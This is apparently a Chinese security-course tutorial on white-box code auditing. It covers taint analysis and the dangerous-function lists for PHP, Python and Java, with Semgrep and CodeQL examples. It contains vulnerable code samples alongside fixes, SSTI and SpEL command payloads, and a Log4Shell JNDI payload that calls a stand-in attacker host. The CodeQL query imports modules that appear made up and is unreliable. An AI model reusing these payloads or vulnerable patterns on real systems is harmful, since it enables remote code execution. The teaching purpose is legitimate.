📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透 ✅ 已完成
23 sqlmap 注入 → 24 XSS → 25 CSRF/文件上传 → 26 命令执行 → 27 文件包含/SSRF → 28 反序列化 → 29 XXE → 30 越权/逻辑漏洞 → 31 WAF 绕过
模块 3 代码审计(白盒分析阶段)
32 代码审计入门:从黑盒到白盒的思维转换(当前篇)
33 PHP 代码审计实战(预告)
模块 4-5 后续持续更新
导读
模块 2 的 9 篇文章中,我们始终站在应用外面——发送 Payload、观察响应、推测内部逻辑。但有些漏洞从外部根本看不到:一个 eval() 调用隐藏在三层函数嵌套后,一个 unserialize() 的参数经过五次变量传递才到达——这些只有阅读源代码才能发现。
读完本篇你将能:理解黑盒测试与白盒审计的本质差异、掌握污点分析的核心方法论(Source → Sink → Sanitizer)、识别 PHP/Python/Java 三种语言的危险函数清单、使用 Semgrep v1.164.0 编写自定义审计规则扫描代码库、用 CodeQL 2.27.0 进行数据流查询、将代码审计能力与模块 2 的黑盒技术形成互补的完整安全测试体系。
目录
1. 黑盒 vs 白盒:两种安全测试的思维差异
2. 代码审计方法论:污点分析与数据流追踪
3. PHP 代码审计:危险函数与漏洞模式
4. Python 代码审计:SSTI、pickle 与命令拼接
5. Java 代码审计:SpEL 注入与 Log4Shell 原理
6. 工具辅助审计:Semgrep 与 CodeQL 实战
7. 伦理边界与分级练习

1. 黑盒 vs 白盒:两种安全测试的思维差异

模块 2 中你学会了 SQL 注入、XSS、CSRF 等 9 类漏洞的利用方式,但所有测试都遵循同一个模式:构造 Payload → 发送请求 → 观察响应。这就是黑盒测试——你把应用当作一个不透明的箱子,只知道输入和输出,不知道内部如何运作。

代码审计则是白盒测试——你直接打开箱子,阅读源代码,追踪数据从用户输入到危险操作的完整路径。两种方法各有不可替代的优势。

维度 黑盒测试 白盒审计
信息来源 HTTP 请求/响应 应用程序源代码
发现方式 发送 Payload 探测 阅读代码追踪数据流
覆盖范围 可达的 HTTP 端点 全部代码,含不可达路径
深层漏洞 难以发现间接调用链 可追踪多层函数调用
业务逻辑 只能测试已知的业务流程 可审查所有条件分支
误报率 低(已验证可利用) 中高(需确认可达性)

举个具体例子说明差异。假设一个 PHP 应用有如下代码:

PHP · 黑盒无法发现的深层漏洞
// config.php — 不直接暴露给用户
function render_template($tpl, $data) {
    $content = file_get_contents($tpl);
    $content = str_replace('{{DATA}}', $data, $content);
    eval('?>' . $content . ');
}
 
// api.php — 用户可达的入口
$user_input = $_GET['name'];
render_template('welcome.html', $user_input);

黑盒测试中,你只能看到 api.php 暴露的 ?name=xxx 参数。发送各种 Payload——XSS、SQL 注入——都不会触发任何异常,因为 render_template() 内部用 eval() 执行了模板内容。但如果你直接阅读源代码,eval() 这个函数名本身就是红色警报——任何包含用户输入的 eval() 调用都是代码执行漏洞。

💡 小贴士
黑盒测试像试驾汽车——你能感受加速和刹车,但看不到引擎内部。白盒审计像拆解引擎——你能看到每个齿轮的咬合,但需要机械知识才能判断哪个齿轮会打滑。专业安全工程师两种方法都用:白盒审计发现潜在漏洞点,黑盒测试验证可利用性。

现实中两种方法互补使用。NIST SP 800-53 建议:关键系统应在发布前进行白盒审计,在运行时进行黑盒渗透测试。OWASP SAMM 模型将两种方法都列为安全保障活动。接下来的章节将系统讲解白盒审计的方法论和实操技术。

2. 代码审计方法论:污点分析与数据流追踪

你理解了白盒审计的价值,但面对一个十万行代码的项目,该从哪里开始读?逐行阅读显然不现实。代码审计有一套成熟的方法论——污点分析(Taint Analysis),它将审计过程结构化为三个核心概念。

三个核心概念

Source(污点源):用户可控数据的入口点。所有从外部进入程序的数据都是"被污染的"(tainted),在经过净化之前不能用于危险操作。

各语言 Source 入口点
# PHP
$_GET[...]  // URL 参数
$_POST[...] // POST body
$_COOKIE[...] // Cookie 值
 
# Python (Flask/Django)
request.args[...]    # URL 参数
request.form[...]    # 表单
request.json[...]    # JSON body
 
# Java (Spring)
@RequestParam String name // 参数
@RequestBody Object data // 请求体
HttpServletRequest.getInputStream()

Sink(污点汇):危险操作的执行点。当被污染的数据到达 Sink 时,漏洞发生。每种语言有自己的危险函数清单。

Sanitizer(净化器):将污点数据转为安全数据的操作。经过 Sanitizer 处理后的数据不再是"被污染的",可以安全到达 Sink。

Source
用户输入
→
Data Flow
变量传递/函数调用
→
Sanitizer?
是否净化
→
Sink
危险操作

审计的核心任务:找到所有 Source → Sink 的路径,检查中间是否存在有效的 Sanitizer。如果存在则安全,如果不存在或 Sanitizer 可被绕过,则存在漏洞。

手工审计工作流

在没有自动化工具时,专业审计员按照以下步骤工作:

1 入口点枚举:用 grep 搜索所有 Source,确定用户可控的参数有哪些
2 危险函数搜索:用 grep 搜索所有 Sink,列出代码库中使用了哪些危险函数
3 反向追踪:从每个 Sink 出发,向上追踪数据来源,判断参数是否来自 Source
4 Sanitizer 验证:检查 Source 到 Sink 路径上是否有过滤,以及过滤能否被绕过
5 漏洞验证:编写 PoC 代码,确认漏洞确实可被利用
Shell · 手工审计搜索命令
# 步骤 1:搜索 PHP 危险函数
grep -rn 'eval\s*(' ./src/
grep -rn 'system\s*(' ./src/
grep -rn 'unserialize\s*(' ./src/
grep -rn 'include\s*\(.*\$' ./src/
 
# 步骤 2:搜索 Python 危险调用
grep -rn 'os\.system\|os\.popen' ./app/
grep -rn 'subprocess.*shell=True' ./app/
grep -rn 'pickle\.loads\|yaml\.load\b' ./app/
grep -rn 'render_template_string' ./app/
 
# 步骤 3:搜索 Java JNDI/反序列化
grep -rn 'ObjectInputStream' ./src/
grep -rn 'lookup\s*(' ./src/
grep -rn 'SpelExpressionParser' ./src/
⚠️ 常见错误
只搜索函数名不看上下文 — eval('1+1') 不是漏洞,eval($user_input) 才是
✓ 正确:搜索到 Sink 后,必须反向追踪参数来源,确认是否来自用户输入

这种手工方法在小项目中高效直接,但在大型项目(数万行代码)中,函数调用链可能跨越多个文件、多层抽象,人工追踪极易遗漏。这正是自动化工具的价值所在——Semgrep 和 CodeQL 能自动完成 Source → Sink 的数据流分析。我们将在第 6 章详细学习。

3. PHP 代码审计:危险函数与漏洞模式

PHP 是 Web 应用中漏洞最多的语言之一——不是因为语言本身不安全,而是因为它太容易写出不安全的代码。PHP 有大量"一行代码就是一个漏洞"的危险函数,审计时需要逐一排查。

PHP 危险函数分级

危险级别 函数 漏洞类型
极高危 eval() assert() 代码执行
极高危 system() exec() passthru() shell_exec() 命令注入
极高危 unserialize() 反序列化
高危 include require(变量参数) 文件包含
高危 file_get_contents() fopen()(变量参数) 文件读取/SSRF
高危 move_uploaded_file()(未校验) 文件上传
中危 preg_replace()(/e 修饰符) 代码执行(PHP < 7)

实战:代码执行漏洞审计

以下是一段真实风格的 PHP 插件代码,用 call_user_func() 动态调用函数——这种模式在 WordPress 插件中极其常见。

PHP · call_user_func 动态调用漏洞
1
2
3
4
5
6
7
8
9
10
11
12
// ajax handler — 用户可达入口
$action = $_POST['action'];
$arg   = $_POST['arg'];
 
// 白名单检查(Sanitizer)
$allowed = array('get_time', 'get_version');
if (!in_array($action, $allowed)) {
    die('Invalid action');
}
 
// Sink: call_user_func 执行用户传入的函数名
call_user_func($action, $arg);

第 5-9 行看起来有白名单过滤,似乎安全。但漏洞在于:白名单只检查了 $action 是否在 ['get_time', 'get_version'] 中,但 $arg 完全未过滤。如果 get_version() 函数内部把 $arg 传给了另一个危险函数(比如 system()),就形成了间接注入链。

💡 小贴士
PHP 审计中最容易被忽略的是间接调用链:call_user_func()、array_map()、usort() 的回调参数如果来自用户输入,等同于代码执行。这些函数不像 eval() 那样显眼,却是实际漏洞的高发区。

SQL 注入审计:不只是拼接

模块 2 学了 SQL 注入的黑盒利用,代码审计时需要找出注入点。以下代码使用预处理语句但用错了方式:

PHP · 预处理语句误用
// 错误:把拼接后的 SQL 放进预处理
$sql = "SELECT * FROM users WHERE role='$role'";
$stmt = $pdo->prepare($sql);
$stmt->execute();
 
// 正确:参数化查询,$role 作为绑定值
$sql = "SELECT * FROM users WHERE role=?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$role]);

上半部分虽然用了 prepare(),但 SQL 语句在预处理前就已经拼接了用户输入,预处理退化为普通的 query(),注入依然存在。审计时看到 prepare() 不能直接判断安全,必须检查参数是否用 ? 占位符绑定。

4. Python 代码审计:SSTI、pickle 与命令拼接

Python 是后端 API 和数据处理的首选语言,它的代码审计关注三类高危模式:模板注入(SSTI)、反序列化(pickle)和命令拼接注入。每种都有独特的审计特征。

SSTI:模板引擎变成攻击引擎

Flask + Jinja2 是最常见的 Python Web 组合。当用户输入被直接插入模板字符串时,Jinja2 会解析其中的 {{ }} 表达式,导致 SSTI(Server-Side Template Injection)。

Python · SSTI 漏洞与修复
# 漏洞:用户输入直接拼入模板字符串
@app.route('/greet')
def greet():
    name = request.args.get('name')
    # Source → Sink 直接传递,无 Sanitizer
    template = f'Hello {{{{ {name} }}}}!'
    return render_template_string(template)
 
# 修复:参数化模板,不拼接用户输入
@app.route('/greet')
def greet():
    name = request.args.get('name')
    return render_template_string('Hello {{ name }}!', name=name)

漏洞代码中 f-string 把 {{ name }} 嵌入了模板——用户传入 {{ config }} 就能读取 Flask 配置,传入 {{ ''.__class__.__mro__[1].__subclasses__() }} 就能枚举所有可利用类。修复方式是把模板字符串和用户数据分开传递,Jinja2 会安全转义参数值。

pickle 反序列化:信任的代价

Python 的 pickle 模块可以在反序列化时执行任意代码。模块 2 第 28 篇已讲过原理,代码审计时需要找到 pickle.loads() 的调用点并追踪数据来源。

Python · pickle 审计:从 Sink 反向追踪
# grep 找到 Sink
grep -rn 'pickle\.loads' ./app/
 
# 定位到 session_manager.py:42
def restore_session(session_cookie):
    # Source: session_cookie 来自 HTTP Cookie
    raw = base64.b64decode(session_cookie)
    # Sink: pickle.loads 执行反序列化
    data = pickle.loads(raw)
    return data['user_id']
 
# 审计结论:Source(session_cookie) → Sink(pickle.loads) 无 Sanitizer → 漏洞

审计确认:用户 Cookie → base64 解码 → pickle.loads(),中间没有任何校验。攻击者可以构造恶意的 pickle 数据,通过 Cookie 触发远程代码执行。

命令拼接注入:shell=True 的陷阱

subprocess 模块中 shell=True 参数让命令通过 shell 执行,用户输入中的 ; | && 会被 shell 解释为命令分隔符。

Python · shell=True 命令注入
# 漏洞:shell=True + 字符串拼接
import subprocess
filename = request.args.get('file')
subprocess.run(f'cat /uploads/{filename}', shell=True)
 
# 修复:shell=False + 列表传参
import subprocess
filename = request.args.get('file')
subprocess.run(['cat', f'/uploads/{filename}'], shell=False)

当 shell=False 且用列表传参时,filename 的值整体作为 cat 的参数,shell 元字符不会被解析。审计时 grep 'shell=True' 是快速定位命令注入点的有效方法。

5. Java 代码审计:SpEL 注入与 Log4Shell 原理

Java 企业级应用的代码审计有独特挑战:框架抽象层级多、反射和动态代理广泛使用、类加载器机制复杂。本节聚焦两个经典 Java 漏洞模式——SpEL 注入和 Log4Shell——它们的共同点是:框架的"特性"变成了攻击面。

SpEL 注入:表达式引擎的反噬

Spring Expression Language(SpEL)是 Spring 框架的表达式引擎,支持在运行时求值复杂的表达式。当用户输入被作为 SpEL 表达式解析时,攻击者可以执行任意 Java 代码。

Java · SpEL 注入漏洞
// 漏洞:用户输入直接作为 SpEL 表达式
@GetMapping("/eval")
public String eval(@RequestParam String expr) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(expr);
    return exp.getValue(String.class);
}
 
// Payload: T(java.lang.Runtime).getRuntime()
// .exec('id')

T(java.lang.Runtime) 是 SpEL 的类型引用语法,可以访问 Java 的 Runtime 类并执行系统命令。审计时搜索 SpelExpressionParser 或 parseExpression,检查参数来源是否经过净化。

Log4Shell:一个日志框架如何震慑全网

CVE-2021-44228(Log4Shell)是 2021 年影响最广的漏洞——Apache Log4j2 的 JNDI 查找功能导致远程代码执行。它的审计价值不在于复现,而在于理解代码审计如何从源码层面发现此类问题。

Java · Log4Shell 数据流分析
// 攻击 Payload(HTTP Header 中携带)
${jndi:ldap://attacker.com/Exploit}
 
// 数据流追踪(Log4j2 源码)
// Source: 用户 HTTP 请求(User-Agent 等 Header)
logger.info("User-Agent: {}", userAgent);
 
// Log4j2 内部解析 ${...} 表达式
MessagePatternConverter → JndiLookup.lookup()
 
// Sink: JndiLookup.lookup() 执行 JNDI 查找
ctx.lookup("ldap://attacker.com/Exploit");
 
// 攻击者 LDAP 服务器返回恶意 Java 类
→ ClassLoader.defineClass() → 远程代码执行

审计要点:这段数据流跨越了"应用代码 → 框架内部 → JVM JNDI"三个层级。应用开发者只写了一行 logger.info(),但 Log4j2 内部会解析日志消息中的 ${...} 表达式,触达 JndiLookup 这个 Sink。这类"框架特性变攻击面"的漏洞,正是代码审计需要深入框架源码的原因。

💡 小贴士
Log4Shell 的教训不是"Log4j 不安全",而是任何把用户输入当作"可解析内容"的设计都有风险。审计 Java 项目时,搜索 lookup()、ExpressionParser、ScriptEngine、ObjectInputStream 四个关键词,覆盖了 Java 最常见的远程代码执行路径。
审计关键词 漏洞类型 严重级别
ObjectInputStream.readObject 反序列化 RCE 极高危
SpelExpressionParser SpEL 注入 极高危
InitialContext.lookup JNDI 注入 极高危
Runtime.exec / ProcessBuilder 命令注入 高危
ScriptEngine.eval 脚本引擎 RCE 极高危

6. 工具辅助审计:Semgrep 与 CodeQL 实战

手工审计面对十万行以上的代码库效率骤降。自动化工具能扫描全部代码、追踪跨文件数据流、保持一致的审计质量。当前主流工具分两类:规则匹配型(Semgrep)和数据流分析型(CodeQL)。

Semgrep:快速规则扫描

Semgrep(v1.164.0,2026.05 发布)基于模式匹配——你写一个代码模式,它找所有匹配的实例。不需要编译,直接扫描源码,速度极快。其 Pro 版本的污点分析引擎在 v1.158.0 中重写,全量扫描速度提升 75%。

Shell · Semgrep 安装与基础扫描
# 安装 Semgrep(pip 或 brew)
pip3 install semgrep
 
# 使用官方规则集扫描 PHP 项目
semgrep scan --config=p/php ./src/
 
# 同时扫描多种语言
semgrep scan --config=p/owasp-top-ten ./app/
 
# 输出 JSON 格式便于集成 CI/CD
semgrep scan --config=p/python --json ./app/ 
  >report.json

Semgrep 的核心价值在于自定义规则。你可以用 YAML 语法定义特定漏洞模式:

YAML · Semgrep 自定义规则:检测 PHP eval
rules:
  - id: php-eval-user-input
    languages: [php]
    severity: ERROR
    message: "eval() with user input — RCE risk"
    patterns:
      - pattern: eval($EXPR);
      - pattern-not: eval('...');
      - metavariable-pattern:
          metavariable: $EXPR
          pattern: $_GET[...]
 
# 运行自定义规则
semgrep scan --config=eval-rule.yml ./src/

规则解读:pattern: eval($EXPR) 匹配所有 eval 调用,pattern-not: eval('...') 排除字符串字面量(安全调用),metavariable-pattern 进一步确认参数来自 $_GET。三层过滤后只报告真正的用户输入注入风险。

CodeQL:深度数据流分析

CodeQL(v2.27.0,2026.09.09 发布)由 GitHub 维护,将代码编译为数据库后用类 SQL 语法查询漏洞。与 Semgrep 的模式匹配不同,CodeQL 能追踪跨文件、跨函数的完整数据流——从 Source 到 Sink 的每一步传递都能被查到。最新版 2.27.0 新增了 Linux ARM64 支持和 Rust 安全查询。

CodeQL · 追踪 PHP $_GET 到 eval 的数据流
/**
* @name PHP eval injection
* @kind path-problem
*/
import php
import semaphore.CodeAnalysis
import semaphore.flow.Sources
import semaphore.flow.Sinks
 
from TaintTracking::PathNode source, TaintTracking::PathNode sink
where TaintTracking::flowPath(source, sink)
select sink.getNode(), source, sink,
  'User input flows to eval()'
特性 Semgrep CodeQL
分析方式 模式匹配(AST 级别) 数据流分析(全路径追踪)
速度 快(无需编译) 慢(需构建数据库)
误报率 中(无法判断可达性) 低(精确数据流验证)
语言支持 30+ 语言 主要语言(含 Rust 2.27.0 新增)
规则语法 YAML(简单) QL 查询语言(复杂)
适用场景 快速扫描 + CI/CD 集成 深度审计 + 精准定位

实际审计中两者配合使用:Semgrep 做快速初筛,找到所有可疑的 Sink 点;CodeQL 对关键模块做深度数据流分析,确认哪些 Sink 确实有用户输入到达。这种分层策略兼顾效率和准确性。

7. 伦理边界与分级练习

代码审计必须在授权范围内进行。阅读源代码本身不违法,但如果基于审计结果编写利用代码攻击未授权系统,就跨越了法律红线。所有练习请在以下合法靶场中进行:

• DVWA 源码(随应用附带 PHP 源码,可直接审计)
• WebGoat 源码(Java 教学项目,含刻意植入的漏洞)
• OWASP Vulnerable Web Applications Directory(VWAD 目录收录的靶场项目)
✏️ 动手练习
🟢 基础验证
在 DVWA 源码目录中用 grep -rn 'eval\|system\|exec\|unserialize' . 搜索所有危险函数调用,列出找到的文件和行号,标注每个调用是否包含用户输入参数。
🟡 组合应用
安装 Semgrep(pip3 install semgrep),对 DVWA 源码运行 semgrep scan --config=p/php ./dvwa/。对比工具扫描结果与基础验证的手工结果,记录哪些漏洞是手工漏掉但工具发现的。
🔴 开放挑战
编写一条 Semgrep 自定义规则(YAML 格式),检测 Python 代码中 subprocess.run(..., shell=True) 且命令字符串包含 request.args 或 request.form 的命令注入模式。提示:参考第 6 章 Semgrep 规则的 pattern + pattern-regex 组合。
📖 知识回顾
黑盒 vs 白盒 污点分析 Source → Sink → Sanitizer PHP 危险函数 SSTI pickle 反序列化 shell=True 注入 SpEL 注入 Log4Shell 原理 Semgrep 规则 CodeQL 数据流
下篇预告
33 PHP 代码审计实战:从 DVWA 源码到漏洞链构造
本篇建立了代码审计的方法论框架,下一篇将深入 PHP 代码审计实战。以 DVWA 源码为审计对象,逐文件分析 SQL 注入、XSS、文件上传、命令注入四类漏洞的代码特征,构造完整的 Source → Sink 攻击链,并编写 Semgrep 自定义规则实现自动化检测。从理论到实战的第一次完整白盒审计。
关注公众号获取更多安全学习内容